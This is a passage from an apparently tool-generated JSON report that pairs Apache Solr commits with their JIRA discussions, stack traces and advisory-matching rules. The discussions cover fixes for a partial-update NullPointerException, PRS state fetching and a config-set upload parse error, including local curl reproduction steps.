org.apache.solr.update.processor.LogUpdateProcessorFactory$LogUpdateProcessor.processAdd(LogUpdateProcessorFactory.java:111) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.loader.JsonLoader$SingleThreadedJsonLoader.handleAdds(JsonLoader.java:553) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.loader.JsonLoader$SingleThreadedJsonLoader.processUpdate(JsonLoader.java:183) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.loader.JsonLoader$SingleThreadedJsonLoader.load(JsonLoader.java:151) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.loader.JsonLoader.load(JsonLoader.java:86) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.UpdateRequestHandler$1.load(UpdateRequestHandler.java:102) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.ContentStreamHandlerBase.handleRequestBody(ContentStreamHandlerBase.java:100) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:226) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.core.SolrCore.execute(SolrCore.java:2901) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.executeCoreRequest(HttpSolrCall.java:875) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:561) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.dispatch(SolrDispatchFilter.java:262) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.lambda$doFilter$0(SolrDispatchFilter.java:219) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.ServletUtils.traceHttpRequestExecution2(ServletUtils.java:246) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.ServletUtils.rateLimitRequest(ServletUtils.java:215) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:213) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:195) ~[?:?]\r\n\u00a0 \u00a0 at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:210) ~[jetty-servlet-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1635) ~[jetty-servlet-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:527) ~[jetty-servlet-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:131) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:598) ~[jetty-security-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:223) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1570) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:221) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1384) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:176) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:484) ~[jetty-servlet-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1543) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:174) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1306) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:129) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:149) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.InetAccessHandler.handle(InetAccessHandler.java:228) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:141) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:301) ~[jetty-rewrite-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.gzip.GzipHandler.handle(GzipHandler.java:822) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.Server.handle(Server.java:563) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel$RequestDispatchable.dispatch(HttpChannel.java:1598) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:753) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:501) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:287) ~[jetty-server-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:314) ~[jetty-io-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:100) ~[jetty-io-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53) ~[jetty-io-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:421) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:390) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:277) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) ~[jetty-util-10.0.17.jar:10.0.17]\r\n\u00a0 \u00a0 at java.lang.Thread.run(Thread.java:829) [?:?] Thanks again for your help. Thanks Calvin for all the info above! Based on the info above, I was able to reproduce the NPE locally by adding two extra fields to the films example considering the https://solr.apache.org/guide/solr/latest/indexing-guide/partial-document-updates.html#in-place-updates info, and by making /get calls that exercise the code paths in question. Will attach the script to this JIRA item. Having read more of the code in the process and also noting the https://github.com/apache/solr/blob/releases/solr/9.4.1/solr/core/src/java/org/apache/solr/update/UpdateLog.java#L1017 comment which reads /** Add all fields from olderDoc into newerDoc if not already present in newerDoc */ I'm now then inclined to think that your original solution with the newerDoc.addField(fieldName, null); is preferable. Would you like to open a pull request for the change, for main branch? Hi cpoerschke , casmith - thanks for all your work so far figuring this out! (I agree with Christine - one of the best JIRA writeups I've seen lately!) I don't have much context here, but stumbled across this ticket in preparing for the upcoming 9.5.0 release. I see it's not marked as a \"Blocker\", but the Fix-Version is 9.5? Is this high-impact enough that it should be a Blocker, or is it not worth holding up the 9.5 RC for? My tentative target for RC1 was this Thursday the 25th or Friday the 26th. Thanks for clarifying! Hi cpoerschke , that's great that you were able to reproduce it. I'll start a pull request. Hi gerlowskija , I don't know how the project decides on what's a blocker or not, but imho, it would be nice to get it in 9.5 if practical, but it shouldn't block the release, because it's not a regression or something that is likely to affect many users (I was able to reproduce it back as far as version 6.6.2 (as far back as I checked), but have never run into it through years of the same kinds of activity (at lower update rates) as triggers the exception). I created a pull request: https://github.com/apache/solr/pull/2214 The s3 tests failed for me. I've tried getting rid of my existing ~/.aws/config and ~/.aws/credentials files in case there was anything unexpected in there, since the error seemed to be the same as one other people were getting when there were issues with one of those confs. EDIT: All the tests did pass after I renamed my aws config files, so there must have been something in them that the java sdk didn't tolerate but was okay for the aws cli and the python sdk that I usually use. Commit 571c8871278bc14aea683420aea58ef64e38bbae in solr's branch refs/heads/main from Calvin Smith [ https://gitbox.apache.org/repos/asf?p=solr.git;h=571c8871278 ] SOLR-17120 : handle null value when merging partials (#2214) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Commit e0ce8f60da8c97a765f598e9ee36438715e964f7 in solr's branch refs/heads/branch_9x from Calvin Smith [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e0ce8f60da8 ] SOLR-17120 : handle null value when merging partials (#2214) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document (cherry picked from commit 571c8871278bc14aea683420aea58ef64e38bbae) Commit 0de8d70df0f2b5482ada41fb4479f74cda4c0d76 in solr's branch refs/heads/branch_9_5 from Calvin Smith [ https://gitbox.apache.org/repos/asf?p=solr.git;h=0de8d70df0f ] SOLR-17120 : handle null value when merging partials (#2214) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document (cherry picked from commit 571c8871278bc14aea683420aea58ef64e38bbae) (cherry picked from commit e0ce8f60da8c97a765f598e9ee36438715e964f7) Thanks casmith ! My pleasure. Thank you cpoerschke for all your help and for getting this into main so quickly. Commit 78e618444690b9ddf285e416d8045a11dceb711b in lucene-solr's branch refs/heads/branch_8_11 from Christine Poerschke [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=78e61844469 ] SOLR-17120 : handle null value when merging partials (backport of solr#2214) (#2683) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Co-authored-by: Calvin Smith https://github.com/apache/lucene-solr/pull/2683 as per above backported for the upcoming (as per https://lists.apache.org/thread/6vl1t5bmqqym2w3kgvrdb7f71njc1moc mailing list thread) 8.11.3 release too. Commit 571c8871278bc14aea683420aea58ef64e38bbae in solr's branch refs/heads/jira/ SOLR-16858 from Calvin Smith [ https://gitbox.apache.org/repos/asf?p=solr.git;h=571c8871278 ] SOLR-17120 : handle null value when merging partials (#2214) SOLR-17120 handle null value when merging partials this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Closing after the 8.11.3 release" - }, - "ghissue_refs": { - "2214": "", - "2683": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/update/UpdateLog.java", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: value, user", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-17120", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 2214, 2683", - "relevance": 2 - } - ] - }, - { - "commit_id": "49fd000432e7cbe62551141e474b4bec3243fe39", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1665748954, - "hunks": 2, - "message": "SOLR-16451: Don't fetch the PRS states while registering the collection watch closes #1057", - "changed_files": [ - "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16451": "Solr fetches prs state inside watch registration here https://github.com/apache/solr/blob/19f109842fb34069346a9efb21cf01b6706830a8/solr/solrj-zookeeper/src/java/org/apache/solr/common/cloud/ZkStateReader.java#L1857 which is un necessary, and it affects the perf PRS: Don't fetch the prs state, while registering the collection watch CCing noblepaul ichattopadhyaya Commit 3046236e6ec8875d54c512fa69a1c89be430b909 in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=3046236e6ec ] SOLR-16451 : Don't fetch the PRS states while registering the collection watch closes #1057 Commit 13834cca4c019ec04f32c2daa18770674de038ed in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=13834cca4c0 ] SOLR-16451 : Don't fetch the PRS states while registering the collection watch closes #1057 Commit d4bddbb80cc5baabdd8806cf9bb417b4e4a83f83 in solr's branch refs/heads/branch_9_1 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d4bddbb80cc ] SOLR-16451 : Don't fetch the PRS states while registering the collection watch closes #1057 Thanks hiteshkhamesra . Thanks. we may want to remove unused function https://github.com/apache/solr/blob/8789520fb13a9b1736d030aefd48dde1fe22bc82/solr/solrj-zookeeper/src/java/org/apache/solr/common/cloud/ZkStateReader.java#L1862 Commit c54ed38cb977fa0515e502c50916ab1c2b2102fc in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=c54ed38cb97 ] SOLR-16451 : removed unused method Commit 65f05ef768a4a64142bf1b7b8eddcc2e0f923b29 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=65f05ef768a ] SOLR-16451 : removed unused method Commit 52c587211685dfa8a6eb487b5b6861f41f63ac4f in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=52c58721168 ] SOLR-16451 : removed unused method Bulk closing 9.1 issues. Commit 49fd000432e7cbe62551141e474b4bec3243fe39 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=49fd000432e ] SOLR-16451 : Don't fetch the PRS states while registering the collection watch closes #1057" - }, - "ghissue_refs": { - "1057": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: read", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16451", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 1057", - "relevance": 2 - } - ] - }, - { - "commit_id": "7bd8229f4db031f81b84e15881a483244967a8e1", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1651770069, - "hunks": 4, - "message": "SOLR-16110: Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer ", - "changed_files": [ - "solr/core/src/java/org/apache/solr/cloud/ZkController.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16110": "After using the Schema/Config API to change the config/schema in a config set, the UPLOAD of a file to this config set does not work anymore. The Schema/Config API changes the metadata that is stored at the config set node. There is a '{trusted=false}' / '{trusted=true} or an empty \"no utf8 Content\" but after the Schema/Config API call it is\u00a0 replaced by a single 0 byte. As a result the following upload of a file with Configset API throws a json parse error. Steps to reproduce Run solr cloud example:\u00a0 solr -e cloud -p 8984 Create Config set from _default: http://localhost:8984/solr/admin/configs?action=CREATE&name=test&baseName=_default Create Collection with Config set 'test': http://localhost:8984/solr/admin/collections?action=CREATE&name=test&collection.configName=test&numShards=1 add field with Schema API call: curl -X POST -H 'Content-Type: application/json' -i http: //localhost:8984/solr/test/schema --data '{ \"add-field\" :{ \"name\" : \"my-field\" , \"type\" : \"string\" , \"stored\" : true }\r\n}' Create a file test.json and try to upload it: curl -X POST --header \"Content-Type:application/json\" --data-binary @test.json \"http: //localhost:8983/solr/admin/configs?action=UPLOAD&name=test&filePath=test.json&wt=xml&omitHeader= true \" Response: \r\n\r\n\u00a0 JSON Parse Error: char =#0;,position=0 AFTER= '#0;' BEFORE=''\r\n\u00a0 org.noggit.JSONParser$ParseException: JSON Parse Error: char =#0;,position=0 AFTER= '#0;' BEFORE=''\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.JSONParser.err(JSONParser.java:452)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.JSONParser.handleNonDoubleQuoteString(JSONParser.java:819)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.JSONParser.next(JSONParser.java:1026)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.JSONParser.nextEvent(JSONParser.java:1073)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.noggit.ObjectBuilder.<init>(ObjectBuilder.java:84)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.common.util.Utils.lambda$ static $1(Utils.java:356)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.common.util.Utils.fromJSON(Utils.java:319)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.common.util.Utils.fromJSON(Utils.java:305)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.isCurrentlyTrusted(ConfigSetsHandler.java:328)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.ensureOverwritingUntrustedConfigSet(ConfigSetsHandler.java:308)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.createBaseZnode(ConfigSetsHandler.java:269)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.handleConfigUploadRequest(ConfigSetsHandler.java:205)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.admin.ConfigSetsHandler.handleRequestBody(ConfigSetsHandler.java:113)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:216)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.handleAdmin(HttpSolrCall.java:836)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.handleAdminRequest(HttpSolrCall.java:800)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:545)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:427)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:357)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:201)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1601)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:548)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:600)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1624)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1434)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:501)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1594)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1349)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:191)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.InetAccessHandler.handle(InetAccessHandler.java:177)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:146)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:322)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.gzip.GzipHandler.handle(GzipHandler.java:763)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.Server.handle(Server.java:516)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:400)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:645)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:392)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:277)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:338)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:315)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034)\r\n\u00a0 \u00a0 \u00a0 \u00a0 at java.lang. Thread .run( Thread .java:748)\r\n\r\n\u00a0 < int name= \"code\" >500\r\n\r\n Expected Behavior The info at the zookeeper config set node 'trusted=true/false' or 'no content ' is kept as it is. Using Schema/Config API breaks the File-Upload of Config Set File The ZkController.touchConfDir() is the place I found that is writing a new byte []{0} at the config set node. Here's my patch suggestion SOLR-16110.patch Reads the current content of the node and re-writes it into the node to keep the data. added a simple mock test in SOLR-16110-1.patch smoldenhauer typically people open up PR's using Github against the github.com/apache/solr project to facilitate review. Would you be open to doing this? If not (and some people object!), then I'll happily take the patch as is . How would you like to be credited? epugh I created the PR with the contents of the patch file. I hope I got it right. At least it showed up here automatically. I did these steps before your patch, and things worked, which I didn't expect. Notice, I DID have to turn on the security. WOuld you mind retesting? Your intuition of what the problem is makes sense to me, I just can't duplicate the error! Test on Solr 8.11 branch curl \"http://localhost:8983/solr/admin/configs?action=CREATE&name=test&baseName=_default\" --> security alert bin/solr auth enable -type basicAuth -prompt true -z localhost:9983 -blockUnknown true --> admin/password curl -u admin:password \"http://localhost:8983/solr/admin/configs?action=CREATE&name=test&baseName=_default\" --> Works curl -u admin:password \"http://localhost:8983/solr/admin/collections?action=CREATE&name=test&collection.configName=test&numShards=1\" --> WOrks curl -u admin:password -X POST -H 'Content-Type: application/json' -i http://localhost:8983/solr/test/schema --data '{ \"add-field\": {\r\n \"name\":\"my-field\",\r\n \"type\":\"string\",\r\n \"stored\":true } }' echo ' {\"hello\":\"world\"} ' > test.json --> WOrks curl -u admin:password -X POST --header \"Content-Type:application/json\" --data-binary @test.json \"http://localhost:8983/solr/admin/configs?action=UPLOAD&name=test&filePath=test.json\" I re-checked your steps to repeat and have to admit that it worked for me, too. In the past I was running the server with \u00a0-Dsolr.disableConfigSetsCreateAuthChecks=true so I did not get the security alert. So it runs into the parse error only with an unauthenticated (unthrusted) request which then tries to call ensureOverwritingUntrustedConfigSet Nevertheless I am still a bit curious about that 0-byte overwriting and wonder if the trusted info at the config set should be overwritten like that. Okay, I just tried it with -Dsolr.disableConfigSetsCreateAuthChecks=true, and it does avoid the security check, so one issue better understood. (I sent an email to dev mailing list about if we should be keeping this feature in the 9X line, and if we do, we ought to document it!). I went through your steps, on branch_9_0, and I get a JSON parsing error. Which I referenced in SOLR-16164 . I'm going to try the fix I outlined in SOLR-16164 , and then see what happens. Okay, with -Dsolr.disableConfigSetsCreateAuthChecks=true and my patch, I was able to get ALL the way to the upload and then had that blow up.... In getConfigMetadata() I am now checking if the ZK data was null (which is what the patch checked for), and it's not null. Now we get a JSON parser error! 022-04-25 19:19:42.447 ERROR (qtp1463022229-25) [] o.a.s.h.RequestHandlerBase org.noggit.JSONParser$ParseException: JSON Parse Error: char=,position=0 AFTER='' BEFORE='' => org.noggit.JSONParser$ParseException: JSON Parse Error: char=,position=0 AFTER='' BEFORE='' Okay!!! With your patch, I now get a NICE error message. Is this what you think you should be getting? : { \"responseHeader\": {\r\n 